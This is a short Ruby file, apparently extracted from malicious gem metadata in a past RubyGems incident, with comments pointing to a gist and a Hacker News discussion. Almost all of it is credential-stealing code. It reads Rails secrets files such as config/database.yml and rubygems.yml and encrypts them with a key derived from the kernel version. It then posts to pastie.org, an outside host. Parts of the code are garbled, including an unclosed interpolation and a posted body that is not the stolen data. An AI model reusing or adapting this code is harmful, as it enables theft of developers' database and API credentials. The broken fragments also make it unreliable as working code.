ruby_ex_extract.rb

# extracted and prettified from the exploit gem metadata (https://gist.github.com/d891e876c53e55bf0920)
# context: https://news.ycombinator.com/item?id=5139720
require 'net/http'
require 'digest'
require 'openssl'
require 'base64'
aes = proc { |text|
aes_256 = OpenSSL::Cipher.new('aes-256-cbc')
aes_256.encrypt
aes_256.key = Digest::MD5.hexdigest(`uname -r`)
 
crypted = aes_256.update(text)
crypted << aes_256.final
Base64.encode64(crypted)
}
exfil = proc { |path|
if File.file?(path) == true
"::: #{path} :::\n\n#{File.read(path)}"
end
}
loot = ["config/database.yml", "config/librato.yml", "config/database.yml", "config/rubygems.yml"].map { |path| exfil.call(path) }.join

if !(loot.empty?)
Net::HTTP.post_form(URI('http://pastie.org/pastes'), {
'paste[authorization]' => 'burger',
'paste[access_key]' => '',
'paste[parse_id]' => '6',
'paste[body]' => "hello\n\n}",
'paste[restricted]' => '0',
'commit' => 'Create Paste'
})
puts loot
end

#{aes.call(loot)


Net::HTTP.post_form(URI('http://pastie.org/pastes'), {
'paste[parse_id]' => '6',
'paste[authorization]' => 'burger',
'paste[access_key]' => '',
'paste[parse_id]' => '6',
'paste[restricted]' => '0',
'paste[body]' => "hello class Object def eigenclass class << self self end end\n\n}",
'commit' => 'Create Paste'
})